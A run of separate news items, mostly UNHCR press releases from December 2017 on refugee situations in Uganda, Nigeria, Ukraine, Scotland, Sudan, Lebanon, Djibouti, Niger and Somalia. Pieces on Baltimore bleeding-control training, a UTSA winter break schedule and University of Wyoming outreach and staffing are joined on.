It is so important to have a venue where [people] can ask questions and get responses. They are taking away information that is exactly what they need.  Its community-specific, she said, explaining that stabbings are much more prevalent these days and ambulances are definitely slow to respond in West Baltimore. They see it on the streets. Its not the same over in Canton.

Park is hoping to bring the Stop the Bleed program to as many schools and places of worship as possible and to have Stop the Bleed kits  with tourniquets, gauze, and gloves  installed in these venues as well. Philanthropic business support is needed to reach this goal, she explained.

Meanwhile, Franklin and Elgersma are planning other possible topics for their series at the CEC, including training on naloxone, which combats the effect of an opioid overdose.

People want to help out their neighbors in crisis, Franklin said.
French pop artist Christine, of Christine and the Queens, chats with Imani, a refugee from the Democratic Republic of the Congo, at Rmawanja refugee settlement in Uganda.  UNHCR/Hannah Maule-ffinch

One of Frances biggest pop artists, Christine and the Queens, is calling for urgent attention and action for refugees fleeing violence in the Democratic of the Congo, as concern rises over the number of displaced people fleeing conflict and violence in the country.

Travelling with UNHCR, the UN Refugee Agency, Christine visited refugee settlements in neighbouring Uganda, where, during a trip earlier this month to the countrys southwest, she witnessed over 350 refugees arriving from the DRC in a single day, with numbers rising daily.

Since 2012 some 236,500 Congolese refugees have fled to Uganda. In all 621,711 refugees from the DRC now live in more than 11 African countries, with Uganda hosting the largest number.

Commenting on the crisis, Christine said, I want to do what I can to humbly show solidarity with refugees and shine a light on forgotten emergencies like this one. Because newsfeeds are already so saturated with information, some of the tragic refugee crises of our time don't get the coverage they urgently need. I feel its my obligation, as an artist and citizen, to use my voice to ensure their stories and needs reach even further.

During her visit, Christine spent time at the Rwamwanja Youth Centre, supported by UNHCR. The center holds music workshops in which young Congolese refugees can harness their talents, play music and make friends. Its easy to forget numbers but you cant forget faces, she said. I for sure wont be able to forget the faces of the refugees I have met here in Uganda. Its uplifting to see a safe space for young refugees to play music, dance and be young again in the middle of an emergency zone like this, Christine commented, This kind of project allows gifted teenagers to spend a few hours losing themselves in the music they love before they go back to the reality of the challenges of refugee life.

UNHCR is increasingly concerned by the escalating displacement in several key regions of the Democratic Republic of the Congo. With widespread militia activities, unrest and violence affecting many areas, the risk of further displacement is high and getting aid to people in need is increasingly challenging.

Bornwell Kantande, UNHCRs Representative in Uganda, noted that Uganda is currently hosting over 1.4 million refugees from neighbouring South Sudan, DR Congo, Burundi and other countries. He added: UNHCR is working together with the Government of Uganda to provide humanitarian assistance to the newly arriving refugees and help them become self-reliant as quickly as possible.

Kantande went on to add: In line with the CRRF, Uganda is strengthening refugee protection by providing integrated services to both refugees and host communities, including in health, education and job opportunities. This approach enhances refugees self-reliance and fosters stronger bonds between local communities and refugees. The CRRF also brings more partners together, especially development experts, to bring long-term solutions to the refugee situation and provide additional support to the Government so it can include refugees in national development plans.

Note to Editors

Uganda is among countries pioneering an approach to managing refugee situations known as the Comprehensive Refugee Response Framework (CRRF). At the New York Declaration adopted by all 193 UN member states in September last year, Uganda committed to continue to include refugees in local systems and share responsibility for refugees. This approach aims to strengthen protection by providing support to refugees and the host community alike, while encouraging resilience and self-reliance. The model also aims at engaging more partners, especially development actors, to provide additional support.

For more information on this topic, please contact:
UNHCR and its partner registering newly arrived asylum seekers fleeing unrest in English-speaking areas of Cameroon.  UNHCR

UNHCR, the UN Refuge Agency, is stepping up its presence in south-eastern Nigeria, to provide life-saving support to thousands of people fleeing unrest in English-speaking areas of Cameroon.

Since tensions between security forces and pro-independence demonstrators in Cameroons restive Anglophone region intensified in October, joint UNHCR and government teams have registered some 7,204 arrivals in remote areas of Nigerias Cross River state. As they report, thousands more are awaiting registration.

Some 70 per cent of the registered asylum seekers come from the area of Akwaya in south-west Cameroon. Women and children in their majority, they are hosted by local communities near the border. But, as the unrest in Cameroon continues and more asylum seekers arrive, UNHCR is concerned that the local populations capacity will soon be stretched to its limits.

Heavy wet season rains have worsened the state of the road network in the remote region, hampering efforts to deliver aid. UNHCR and partners distribute food, basic relief items and medical aid. UNHCR is also deploying more staff in the region and coordinates with partners, national and local authorities to ensure that the needs of all affected people are met.

Additional resources will be necessary to support the arrivals and reinforce UNHCRs coordination and response efforts. Currently, UNHCR in Nigeria and partners have elaborated a contingency plan in the event of new arrivals.

For more information on this topic, please contact:
Dinu Lipcanu (left), who heads UNHCR's office in Mariupol, Ukraine, visits local residents whose houses have been damaged by artillery shelling in Avdiivka, Donetsk.  UNHCR/Markiian Lyseiko

As temperatures plummet across Ukraine, UNHCR, the UN Refugee Agency, is stepping up distributions of aid, including clothing, fuel and cash to the most vulnerable people affected by the conflict in the countrys East.

The aid comprises clothes, warm jackets and boots, coal for heating and cash grants to cover winter expenses. Recipients include some 15,300 people, who are mainly single parents, elderly, families with many children, and people with disabilities or chronic illnesses.

Most have been displaced from their homes in eastern Ukraine by the conflict in the regions of Donetsk and Luhansk, which is now well into its fourth year. Near the line of contact between the government and the non-government controlled areas, houses are frequently damaged by shelling. Several villages have been cut off, because of damaged or degrading infrastructure. Decreased access to transport has made it harder for the people to collect benefits, food and medicine. UNHCR has called all parties to the conflict to protect civilians and critical infrastructure, in full and immediate compliance with international law.

Winter brings additional hardship to the population, as temperatures can plummet to -10oC in December and -20oC in January. Most live in poorly insulated homes and a smaller number in collective centers, and are unable to cover the rising utility costs. In some villages, gas pipes have been damaged by shelling and, as a result, coal and firewood represent the sole means of heating homes. UNHCR staff report that people are often forced to make a choice between buying food and medicines, or fuel to heat their dwellings.

The situation is particularly critical in the non-government controlled areas, where 40 per cent of the households are in need of heating fuel and nearly 90 per cent are in need of winter clothes and insulation. In these areas, UNHCR is providing 9,000 tonnes of coal to 3,000 households and more than 7,500 pieces of winter clothing. UNHCR is also repairing 500 homes to make them suitable for the winter. The limited humanitarian access in those areas, particular for international NGOs, remains a major constraint.

Meanwhile, in government-controlled areas, UNHCR provides unconditional cash grants to 1,000 households, and winter jackets to more than 4,700 children, mostly donated by private companies such as Japans UNIQLO.

Movement across the line of contact is also more difficult during the winter months. There are around one million crossings of people across the line of contact each month, to reach family members or get access to services. In winter though, checkpoint operating hours are reduced and heated waiting areas are limited. To address these challenges, UNHCR reinforces existing weather shelters and heated tents at checkpoints or constructs new ones as needed.

In total, the conflict in Eastern Ukraine has led more than 1.5 million people to internal displacement and over 1 million to seek safety outside the countrys borders. UNHCR required $37.6 million to assist them in 2017. Nevertheless, despite funding from donors such as Canada, Estonia, the European Union, Germany, Japan, Sweden, Norway and the USA, UNHCR has only received 35 per cent of the necessary funding to complete its planned activities in 2017.

For more information on this topic, please contact:
UNHCR's Representative to the UK, Gonzalo Vargas Llosa (left) stands with Angela Constance MSP, Scottish First Minister Nicola Sturgeon, UK Immigration Minister Brandon Lewis, and a Syrian refugee family during an event to mark the 2,000th Syrian refugee being resettled to Scotland under the UK's Vulnerable Persons Resettlement Scheme  First Minister of Scotland

EDINBURGH - Scotland is celebrating its achievement of providing new homes for 2,000 resettled Syrian refugees, three years ahead of schedule.

On Monday, the Convention of Scottish Local Authorities (COSLA) hosted an event in Edinburgh to mark Scotlands central role in resettling 10% of the 20,000 refugees under the UKs Syrian Vulnerable Persons Resettlement Scheme (VPRS). The programme runs to 2020 and is about half way to completion.

The event was attended by UNHCRs Representative in London, Gonzalo Vargas Llosa; Scotlands First Minister, Nicola Sturgeon; the UKs Immigration Minister, Brandon Lewis; and COSLAs President, Alison Evison.

Also attending were some of the Syrian refugees who had been resettled through the resettlement program.

The biggest thank you is to those families from Syria who are living with us here."

Sturgeon hailed Scotlands response to the deadly Syria conflict. In Scotland, we wanted to play our part in responding to the biggest refugee movement since WWII, Sturgeon said, we have welcomed our 2,000th refugee in Scotland, and as first minister, I am absolutely delighted about that.

The VPRS was established in early 2014 in response to the Syrian conflict. Today, nearly seven years after the conflict began, 5.4 million Syrian refugees continue to live in neighbouring countries like Turkey and Lebanon.

As the host countries have struggled to cope with the numbers, many Syrian refugees are living in increasingly desperate conditions. In this context, resettlement offers a vital lifeline for the most vulnerable families, to restart their lives in safety and dignity, while avoiding perilous voyages.

Sturgeon also acknowledged the concerted efforts of the local authorities and civil society groups in supporting the integration of Syrian refugees at the local level.

I want to thank all of those who have provided a warm welcome: local authorities, health services, police, community organisations, interpreters and support workers, she said. The biggest thank you is to those families from Syria who are living with us here. By being here in Scotland, you help to make it a better place and we are very glad to have you here.

Scotland, along with the rest of the UK, should be proud of the way it has welcomed some of the most vulnerable refugees"

Sturgeons praise was echoed by Lewis, the immigration minister, who thanked Syrian families for their contribution to the community and the economy.

Scotland, along with the rest of the UK, should be proud of the way it has welcomed some of the most vulnerable refugees, and provided them with safety and security so that they can rebuild their lives, Lewis said.

Also speaking at the event was Evison of COSLA, who said that Scotland would strive to go beyond the 2,000 accepted.

As long as we are given the support and resources to do so, Scotland will continue to be part of this important program.

First Minister of Scotland, Nicola Sturgeon meets a resettled Syrian family at the COSLA event in Edinburgh.  First Minister of Scotland

Although integration of Syrian refugees resettled under the VPRS has been, by and large, a success, challenges still remain. A recent UNHCR study of the program found that more targeted support in language, housing and employment would further assist Syrian refugee integration in the UK.

UNHCRs Vargas Llosa said the agency would continue to back the VPRS so that this resettlement program will become an example for the rest of the world.

He acknowledged the refugees themselves have shown the greatest courage and resilience in not only fleeing war in Syria but having to start new lives in the UK.

UNHCR is also urging the UK to expand refugee resettlement to welcome 10,000 a year.

One of these refugees Siham, a Syrian women now living to Scotland, addressed the crowd at the Edinburgh event. She spoke of coming to Scotland for the first time.

When we moved to our new home we didnt feel the estrangement I had felt in exile. We felt a warm welcome, fully furnished houses and everything necessary to live a dignified life.
Halima Ibrahim and her family are among the first 45 Sudanese refugees who return to Sudan after ten years of exile in Central African Republic.  UNHCR/Ahmed Dotum

SOUTH DARFUR, Sudan  Mother of six Hamila fled insecurity in Darfur a decade ago, seeking safety in the neighbouring Central African Republic, or CAR.

But this week, she was among more than 230 former refugees returning home on a UNHCR flights from a camp near Bambari.

"I am so happy for the chance to return to Sudan, especially for my children, said Hamila, who had four more children while in exile. Even if we face challenges at least we will be in our home country, among our relatives."

UNHCR, the UN Refugee Agency, this week started the voluntary repatriation of Sudanese refugees from a camp in Bambari, in the Central African Republic, or CAR.

The repatriation flights began on December 12. Before the end of the year, 66 UN Refugee Agency chartered flights are scheduled to bring some 1,500 refugees home.

Nearly 3,500 refugees had fled from South Darfur to CAR in 2007 during the conflict between the Sudanese forces and armed groups. Refugees were being hosted in Pladama Ouaka camp, close Bambari, a town of 40,000 people on the Ouaka River.

In late November, refugees expressed their intention to return. The decision followed an improvement in the security situation and the disarmament of armed groups in Darfur.

"I am so happy for the chance to return. Even if we face challenges at least we will be in our home country, among our relatives."

Returning refugees are currently being hosted in a transit centre in the capital of South Darfur State and will subsequently be returning to their home villages in Dafag, South Darfur  located at some 350 kilometres from Nyala.

UNHCR is working with the governments of Sudan and CAR in assisting the returnees with air and land transportation and return packages. Returning refugees will also have access to land.

We are working with government authorities and other partners to enhance service provision in the return area, UNHCR spokesman Babar Baloch told reporters at a news briefing in Geneva today.

Sudan has pledged to implement international standards governing refugee returns - including the benefit of amnesties, as well as UNHCRs role in monitoring the returns, he added.

The war in the Darfur region of Sudan broke out in February 2003, when rebel groups began fighting the government of Sudan. The ensuing conflict killed tens of thousands and displaced millions of people within Sudan and over its borders.

A growing number of refugees and internally displaced people have been returning spontaneously to South Darfur in the last few years, Baloch told reporters at the Palais des Nations.

This is in part due to gradual security improvements, as a result of signed peace agreements between the governments of some armed groups, as well as the efforts of the peacekeeping mission led by the United Nations-African Union hybrid force.

Around two million people are currently displaced inside the country, while more than 650,000 Sudanese refugees live in the neighbouring countries - including Chad and South Sudan.

Many areas in South Darfur have also become more welcoming for those returning, due to a growing number of early recovery and development initiatives.
BEKAA VALLEY, Lebanon  Eight young Syrian children died when fire tore through an informal refugee settlement of densely packed wood and plastic tents in Lebanons Bekaa Valley last week, in a tragedy highlighting the precariousness of their lives in exile.

The blaze broke out December 7 in Ghazze, a village about 40 kilometres east of the capital, Beirut. Fanned by strong winds, it swept through the settlement in minutes. All the victims were from the same extended family.

The fire happened so quickly, it couldnt be stopped  I tried to help put it out but we couldnt. There was nothing we could do, said Abdullah, whose son Yaccoub, aged four, and daughter Hala, two, died in the fire.

His brother Mahmouds two sons, Mohamad, five, and Abdullah, three, were also killed. His wife, Maysa, was at a local market when the fire broke out, but by the time she ran back to the settlement, it was too late to save the children.

More than one million Syrian refugees live in Lebanon. Many live in informal settlements like the tented community in Ghazze, where families use stoves to cook with and to heat their tents.

Nothing was left after the fire, no clothes, no toys ... We just have the memories of our children.

Nearly three quarters of Syrian refugees in Lebanon live below the poverty line. In addition to the dead, the fire also left nearly 40 families homeless, destitute and their close-knit community devastated.

Mahmouds brother-in-law Ibrahim was visiting a relative in a local hospital when he was told about the fire. He rushed home and found his neighbours  both Syrians and Lebanese  trying desperately to put out the flames.

Nothing was left after the fire, no clothes, no toys ... nothing, said Ibrahim, who lost his two children, Fatima, aged four, and two-year-old Khalil. We just have the memories of our children.

In the aftermath of the fire, the communitys Lebanese neighbours offered shelter and comfort to those who had lost everything.

I dont look at people as Syrians or as Lebanese anymore  we are neighbours. People sometimes say the Syrians are a burden  but I dont think so. They are my friends, and my neighbours, said Iman, a Lebanese living in a nearby apartment block.

I cannot see a mother cry over the bodies of her own children and not do anything about it.

I cannot see a mother cry over the bodies of her own children and not do anything about it.

The fire is the deadliest to strike Lebanons Syrian refugee community, but not the first. A blaze in Akkar, in the countrys north, killed three people including a child, just one week before the Ghazze blaze. In July, a fire in Bar Elias, also in Bekaa, killed one child. And two people were killed in a blaze in Jiyeh last December.

Ghazzes mayor, Mohammed Al Majzoub, opened the municipal hall to the refugees. He says the cause of the fire was never established, but that it started in an empty tent and quickly engulfed the settlement before residents could react.

UNHCR and its partner Medair are working with the municipality and authorities. Following a plan approved by the municipality and the landlord that increases spaces between tents to help reduce the risk of a similar disaster in future, they will soon start to rebuild.

UNHCR is also collaborating closely with Lebanons civil defense authorities on a joint awareness campaign on fire prevention  as well as training refugees, local residents and firefighters.
Children at the Wadajir pre-school in Ali Addeh refugee camp. Eight-year-old Omoulgire Aden Abdi (middle) was born in the camp and has never been to Somalia.  UNHCR/Petterik Wiggers

ALI ADDEH, Djibouti  Hundreds of excited refugees welcomed the UN High Commissioner for Refugees, Filippo Grandi, today as he arrived at the dusty, remote Ali Addeh refugee camp in the desert of southern Djibouti.

The camp, established at the start of the Somalia conflict in 1992, is home to more than 15,000 Somali refugees, many of whom were born there.

Life in the camp is very tough and it is difficult to find enough water and food for my family, said Amina Ahmed Ali told Grandi, seated in her basic one-room hut lined with mattresses but no furniture. Seven children share the space with Amina and her husband: three of their own, plus four others they foster. Planting is impossible in the dry, saline soil, and she has to rely on monthly World Food Programme rations and some occasional additions bought with her small salary from her social work in the camp.

UN refugee chief praises Djibouti's progressive refugee policies (Arnold Temple, camera-editor / Dana Hughes, producer)

The High Commissioner praised Djiboutis generosity in taking in over 27,000 refugees from four neighbouring countries. He applauded the governments announcement yesterday that all refugee camps in the country will now be considered villages.

This is extremely important as it means that refugees will have freedom of movement and can access public services and whenever possible, jobs, said Grandi. Djibouti has always been a very open country, but the fact that they announced it and this follows some very progressive legislation that the country has been issuing in the last few months, is extraordinary.

Education is ... also an instrument of dignity and identity."

Yesterday, the High Commissioner attended the Regional Education Conference hosted by the eight Eastern Horn African countries in a body called the Intergovernmental Authority on Development (IGAD). At the conference, the countries, including Djibouti, agreed to integrate refugees into national education systems and let them earn certificates that are recognized throughout the region.

This is so important because it recognizes that education is not just a right, said Grandi, but also an instrument of dignity and identity and also a very important investment to the future.

The Government of Djibouti has already introduced a new education system that will allow refugees to study in English and adapt quickly to the Djiboutian curriculum. In Ali Addeh, students in grade one are already learning the new syllabus.

Angosom Tesfu, who teaches maths and English to grade one students at Wadajir pre-primary school, echoed the High Commissioners sentiments. He noted that the new curriculum is a progressive strategy that will create opportunities for refugees in Djibouti.

Education is the key for everything."

Education is the key for everything especially in the era we live in today, he said. As long as these children are living here, it is important that they learn the Djiboutian curriculum as one day they can get valid certificates.

Grandi also commended Djibouti for honouring pledges he made at a Leaders Summit at the UN last year and for taking the part in the so-called Comprehensive Refugee Response Framework by passing progressive laws.

Djibouti currently hosts over 27,000 refugees, the majority of whom are Somali.

Djibouti is one of the smallest countries in Africa, said High Commissioner Grandi. Its a country that has very limited resources, but is an example of generosity of visionary policies, and good management of refugee influxes. It is an example to the world."
NIAMEY  Rahel*, a 29-year-old Eritrean refugee, was hoping for a new life of freedom and opportunity in Europe when she took the dangerous overland route across Africa. Instead, she found herself detained 11 of the 18 months she spent in Libya.

When UNHCR told me I was leaving Libya I wasnt sure what to think, I didnt believe them at first. Then when the bus came to fetch from the detention centre I understood it was true I was happy to be alive, she told representatives of UNHCR, the UN Refugee Agency, in Niger.

Rahel was one of 74 Eritrean and Somali refugees, deemed particularly vulnerable, to arrive on a UNHCR-organized flight at Niamey International airport in the early hours of last Friday morning. The group, which included 51 children and 22 women, had been in detention facilities in Libya until just hours before boarding the plane.

God had sent UNHCR to save our lives.

God had sent UNHCR to save our lives, added a relieved Rahel, who was sold three times by people traffickers during a journey through hell.

UNHCR staff welcomed and assisted the exhausted refugees through airport controls before transferring them to guesthouses. Many asked for reassurance that they would not be taken back to Libya.

UNHCR, the UN Refugee Agency, started the life-saving emergency evacuations in November this year, as part of a broader effort to address the complex movement of migrants and refugees along the Mediterranean routes.

Niger is a transit situation for them. They will be welcomed, they will be supported and they will be given hope that life is still possible said Alessandra Morelli, UNHCRs representative in Niger.

UNHCR would like to thank the government of Niger for opening the doors of its country and allowing UNHCR to continue the humanitarian evacuation flights from Libya. she added.

Vincent Cochetel, UNHCRs Special Envoy for the Central Mediterranean Situation, added: This evacuation could not have happened without the support of the authorities and of our partners, including MOAS, in Libya. I also want to praise the extraordinary solidarity demonstrated by the people and by the Government of Niger.

UNHCR has appealed for an additional 1,300 resettlement places to evacuate vulnerable refugees from Libya as many are detained in deplorable conditions for indefinite periods of time, victims of serious violations of human rights.

Eyob, three, plays with UNHCR's officer Barbara Molinario. He arrived with his mother on an emergency evacuation flight from Libya organized by the UN Refugee Agency.  UNHCR/Alessandro Penso

Hamda, a 25-year-old Somali refugee, said she was arrested in Libya when she was one month pregnant.

Rahel, who was also beaten, was sold three times by smugglers who demanded she pay US$5,500 to be released.

She cries as she tells us that she was caught by a group of men in Zuwara, a port city in northwestern Libya: I did not see their faces, I know they were from Daesh. They raped me, all of them did, I do not know how many they were."

The refugees are currently receiving medical and psychosocial support.

There are nearly 550,000 persons of concern to UNHCR in Libya, including 200,000 internally displaced people and 44,000 registered refugees and asylum-seekers.

*Name has been changed for protection reasons.
KISMAYO  On a visit to the recovering southern port city of Kismayo, the UN High Commissioner for Refugees, Filippo Grandi, pledged to continue investing in housing, education and livelihoods for returning refugees, IDPs and the local population.

In his tour of Somalias third largest city, he saw enormous physical damage from 28 years of conflict but also visible signs of restoration and economic activity in the streets, including new small businesses run by returning refugees.

Grandi emphasized that UNHCR only assists returning refugees who have made an informed and voluntary decision to return and has programs to reintegrate them.

"We see refugees ... as an asset into which we need to invest.

Refugees should be a force to rebuild the country when they decide to come back, Grandi said, noting that UNHCR, the UN Refugee Agency, assisted over 100,000 to return over the past two years, while over one million remain in exile. We see refugees not as a humanitarian problem, but as an asset into which we need to invest, he added.

In a meeting with the President of the State of Jubaland, Ahmed Mohamed Islam, the President spoke of the need for refugees who were educated and trained to come to Kismayo to contribute.

When you want to build a state, you need human resources. Those coming back can fill that gap.

In Kismayo with returning refugees: going home after a long exile is a difficult, brave choice for some Somali refugees. Somalia is still fragile & insecure. But those who decide to return must be supported, so they can help rebuild their country. Photo @ggkenya pic.twitter.com/9VlO5C3VQg  Filippo Grandi (@RefugeesChief) 18 December 2017

Most returning refugees had spent years, even decades in exile, waiting for signs of stability and the promise of education and jobs before giving up the safety and isolation of refugee camp life. While some 19,000 refugees in the Dadaab refugee camp are currently in the pipeline for voluntary return, most Somali refugees cite security concerns as their top reason to remain in Kenya.

See also: Support programmes give Somali returnees a chance to rebuild

Al Shabaab militants still control large parts of south-central Somalia and clan violence and political tensions contribute to the instability.

On the outskirts of Kismayo, Grandi met a family about to move into a UNHCR-constructed house in a self-contained settlement which also a provides a school, a health clinic, a covered market and a mosque. They had spent the last 28 years in the remote Ali Addeh refugee camp in Djibouti, which the refugee head visited last week.

Visibly gleeful, the eldest son, Farah Hassan Abdi, 24, declared his happiness to be back to my country that I love, and his plans to become a doctor or even a surgeon so he could help his people.

"What a great result to see young people go from being refugee to being back in their country."

As a refugee, he had no such hope. The simple, sturdy houses were built on land provided by the government on the sandy outskirts of the city. The UNHCR and the American Refugee Committee (ARC) project is designed to provide returning refugees, but also a percentage of people who had been internally displaced as well as people from the local community, with a decent living environment so they can focus on educating their children and pursuing work.

Surrounded by a group of students at the new school, Grandi said: The boys and girls around me are people that have grown up in a refugee camp. They are not refugees anymore. What a great result to see young people go from being refugees to being back in their country, contributing to their country.

But the refugees are returning to a country with massive challenges. A terrible drought has forced over one million Somalis to leave home and move to other parts of the country, mostly to urban areas. Thanks to a large-scale humanitarian response this year, famine has been averted. However, one in two Somalis are acutely food insecure and the risk of famine remains.

This has meant the global response has focused more on humanitarian relief and less on development, and has increased the population of internally displaced people to two million. A small percentage of returning refugees have been unable to return to their original homes and have become internally displaced persons, or IDPs.

Farah Hassan Abdi and his family are officially made beneficiaries of a new shelter home built by UNHCR during the visit of UN refugee head Filippo Grandi to Kismayo to mark progress in Somalia.  UNHCR/Georgina Goodwin

Given the countrys current struggles, Somalias Federal President, Mohamed Farmajo, told Grandi at a meeting on Saturday in Mogadishu, We want our people back. This is their home. But he added that it must be a gradual and organized transition. We need to avoid returning refugees becoming IDPs.

For those who do, the President urged to move people out of the dependency they knew in the refugee camps. People know how to be given fish, we need to teach them how to catch fish, he said. He thanked UNHCR for its partnership with the government in aiding the displaced but also in providing shelter, establishing schools and providing livelihoods training.

See also: Return to Somalia

While in Mogadishu, Grandi and the Mayor, Thabit Abdi Mohamed, inaugurated a new school located a few hundred meters away from the deadliest single attack in Somali history, when on 14 October a truck bomb killed over 500 people. The best response to violence is education so what can be better than building a school, Grandi said.

In his meetings with the Somalia leadership, Grandi recalled UNHCRs work with Somali refugees since the start of the conflict in 1991. UNHCR has been with the Somali people in exile from the start. But we are aware they are still apprehensive  their first concern is security and their second, lack of services, especially education. We will continue to be with them until they want to go back.
Dave Zweifel, the Cap Times' editor emeritus, was among the panelists at last week's celebration of the newspaper's 100th anniversary.
Share your opinion on this topic by sending a letter to the editor to tctvoice@madison.com. Include your full name, hometown and phone number. Your name and town will be published. The phone number is for verification purposes only. Please keep your letter to 250 words or less.
(Dec. 19, 2017) -- Over the winter break, all classes and many University of Texas at San Antonio (UTSA) business operations will be closed or operate on skeleton crew beginning Monday, Dec. 25, 2017 through Monday, Jan. 1, 2018. Most university buildings will be locked during winter break unless otherwise noted on this schedule.

UTSA will resume normal business hours on Tuesday, Jan. 2, 2018 with a few exceptions listed on the UTSA Campus Alerts website.

Alternate hours of operation for the following departments and activities will apply during winter break:

Housing & Residence Life

For assistance, notify on-call personnel per the contact information for your community.

Libraries

John Peace Library will be closed Dec. 24 - 26 & 30 - Jan. 1.

Downtown Library will be closed Dec. 18 - Jan. 1

Recreation Center & Field Complex

Recreation Center will be closed Dec. - Jan. 1

Downtown Fitness Center will be closed Dec. 22 - Jan. 2

Rec Field Complex will be closed Dec. 22 - Jan. 2

University Center

Visit the website for hours of operations

Campus Services (Dining, Shuttles, UTSACard)

No UTSACard service - Dec. 25  Jan. 1

No shuttle service - December 16 - January 7

Visit UTSA Campus Dish for dining hours of operation during winter break

Institute of Texan Cultures Museum

Closed Dec. 25

Closes at 3 p.m. on Dec. 31

Closed Jan. 1

One-Stop Enrollment Center

Closed Dec. 25 - 26 and Jan. 1

Downtown Campus Office will be closed Dec. 24 - Jan. 1

Student Health Services

Clinic will be closed Dec. 25 - Jan. 1

Counseling Services

Crisis Helpline (On-Call Counselor for After Hours, Weekend, Holiday): (210) 458-4140, *Select Option 3

Research Laboratories - Normal protocols apply unless otherwise communicated to staff/faculty.

For emergency services, please call the UTSA Police Department at (210) 458-4911, or (210) 458-4242 for non-emergencies.
Science Roadshow Brings UW Student Research into Wyoming Schools

Logan Fairbourn, a UW senior majoring in microbiology, discusses science concepts with sixth-grade students at Sheridan Junior High School recently. Fairbourn is part of a group conducting a Science Roadshow in which he and others travel to Wyoming K-12 schools to provide active-learning classroom lessons based on Fairbourns research that uses bacterial cellulose to make clothing items. (Sarah Hackworth Photo)

A University of Wyoming faculty member and three students have been visiting K-12 classrooms across the state this fall in an effort to promote UWs Science Initiative and active-learning concepts in the classroom.

In what they term the Science Roadshow, Rachel Watson and UW students Logan Fairbourn, Natalie Thibault and Kali Nicholas visit students and provide science lessons centered on Thibaults and Fairbourns research converting bacterial cellulose into textiles such as keychains, watchbands and earrings.

From kindergarten to community college students, we want to create meaningful active-learning sessions, says Watson, interim director of UWs Science Initiative Learning Activity Mentoring Program (LAMP), and a senior lecturer of microbiology and biochemistry. We want to bring in Logans research and simultaneously interest students. We want to make students recognize there is something in college for everyone.

The groups most recent stop was to Sarah Hackworths sixth-grade science students at Sheridan Junior High School Dec. 7. Watsons group met with three different classes as well as the after-school Earth Team.

In the Sheridan outreach science lessons provided, the UW group did not have students fashion products out of the material. Rather, students were engaged in the science behind the project. Three different experiments were conducted with each class.

Thibault, a senior from Cheyenne and a first-generation college student, says the group went through the process of determining production yields in different metabolite treatments. Second, they worked with the students to understand how organisms are quantified.

This is always an interesting topic because organisms arent individually visible to the naked eye, Thibault says. Third, we conducted an experiment to examine the resistance of bacterial cellulose to different chemicals alongside several traditional textiles, such as cotton, wool and polyester.

To relay the science in an understandable way to students at different grade levels, Fairbourn says they ask the students a series of questions related to the project. After students have had time to consider each question and come up with answers, the responses are used to guide the students deeper into the material, he says.

For example, we might ask, How would you figure out how much cellulose is being produced by the bacterium? The students typically respond with something along the lines of We should weigh it, says Fairbourn who, like Thibault, is a first-generation college student from Cheyenne. This, of course, allows them to be the leaders of their own science while we simply provide the materials necessary to accomplish their suggestions.

Nicholas, of Riverton, is a LAMP mentor for Fairbourn and Thibault. Nicholas will finish her dual masters degree -- in botany, and environment and natural resources -- next spring.

I provide instructional support for Logan and Natalie, helping them think about best teaching practices when developing their outreach activities, she explains.

Communicating their science pushes Fairbourn, a Wyoming Research Scholar, and Thibault, a McNair Scholar, to become better researchers.

Like any subject, disseminating your findings and communicating your position forces you to clarify it for yourself, Thibault says. I would say, however, the biggest benefit we reap from the experience is understanding what we do from different perspectives.

We all have a unique way of processing information and recognizing patterns and, so, hearing from diverse groups of students allows us to access a limitless well of perspectives, many of which may differ from our current self-evident truths, she continues. In the end, we are forced to reconcile their insights with our own and hone our craft. In any case, its a joy for us to see the students become inspired by science.

The group made previous stops at fifth-grade classrooms at Spring Creek Elementary School and Snowy Range Academy, both in Laramie, Watson says. The science lesson at those schools centered on how much material is needed to make a T-shirt and how long it takes for a T-shirt to disintegrate. As a result of those lessons, the fifth-graders at Spring Creek were inspired to make a small composter to determine how long it actually does take for a T-shirt to disintegrate.

The Science Roadshow idea began to germinate when LAMP collaborated with the Wyoming Department of Education for a three-day Roadmap to STEM conference in Gillette last summer. At the conference, Watson says she met with the 17 educators selected from around the state who submitted applications to partner with the Science Roadshow.

I want to connect with educators across the state in a more meaningful way, Watson says. We are hopeful to change the paradigm of what it means to learn. It may sound grandiose, but that is what is needed.
UW Graduate is New Native American Program Adviser

Reinette Tendore

Reinette Redbird Tendore comes from a Wind River Indian Reservation family that truly values education.

The Ethete student and Wyoming Indian High School graduate (2000) has earned two degrees from the University of Wyoming: a bachelors degree (2009) in elementary education, with an emphasis in cultural diversity and a minor in American Indian studies; and a masters degree (2017) in social work.

She also was named the Student of the Year in the UW Division of Social Work and the 2017 recipient of the Dr. Willena Stanford Commitment to Diversity Award.

That background, and a desire to help other Native American students succeed, has helped Tendore in becoming UWs first Native American Program adviser under the Dean of Students Office. Her office is housed in the new UW Native American Education, Research and Cultural Center (NAERCC) on campus. She will work directly with Native American students, focusing on recruitment and retention, especially those living in Wyoming.

It is important to acknowledge the culture and sense of community for Native American college students and to be able to recruit others from many different reservations, she says. I would hope that my own personal story of being enrolled, coming from the Wind River reservation and graduating with both of my degrees at UW would encourage and inspire other students to work toward their higher education goals, also here at UW.

She credits her family, enrolled Northern Arapaho and Eastern Shoshone tribal members, for reaching her professional goal of helping others. Tendores inspirations are her parents, Becky Sage and Ralph Curry, who emphasized higher education, plus her own family: husband Lee Tendore and children Hudda Herrera, Rhaelle and Riquell Curry, and Rylee Tendore.

I come from a family where education is highly valued, and I am very thankful for that. I realize the importance of passing that on to the future and current Native American students here at UW, Tendore says. I would like to continue building relationships with reservations, tribal leaders and tribal communities.

Nycole Courtney, UW interim Dean of Students, says her office is thankful and excited to have Reinette join our team, adding she will be a good asset.

Reinette comes to us with a plethora of experiences. She has had the opportunity to work closely with all Wyoming tribes, which has led to building many great relationships, Courtney says. Her job is to help Native students feel connected, stay engaged and graduate. Her position also will be instrumental in building a sense of community on and off the reservation.

Reinette Tendore is UWs first Native American Program adviser under the Dean of Students Office. Her office is housed in the new UW Native American Education, Research and Cultural Center on campus. (UW Photo)

As UWs Native American Program adviser, Tendore says it is important for her to recognize the unique culture and identity of current and prospective Native college students.

Providing direct support and resources is what I would really like to focus on to be able to retain our students here at UW, she adds.

Under the direction of the Dean of Students Office, Tendore will work with other programs and services across campus that focus on helping students become successful and reach their personal goals, such as the Center for Student Involvement and Leadership, and Multicultural Affairs. She also will be involved with the centers programs -- American Indian Studies, the High Plains American Indian Research Institute and the student Keepers of the Fire organization. She will continue to be instrumental in the building of the Summer Institute for Native high school students to come to campus for a week and learn more about the institution.

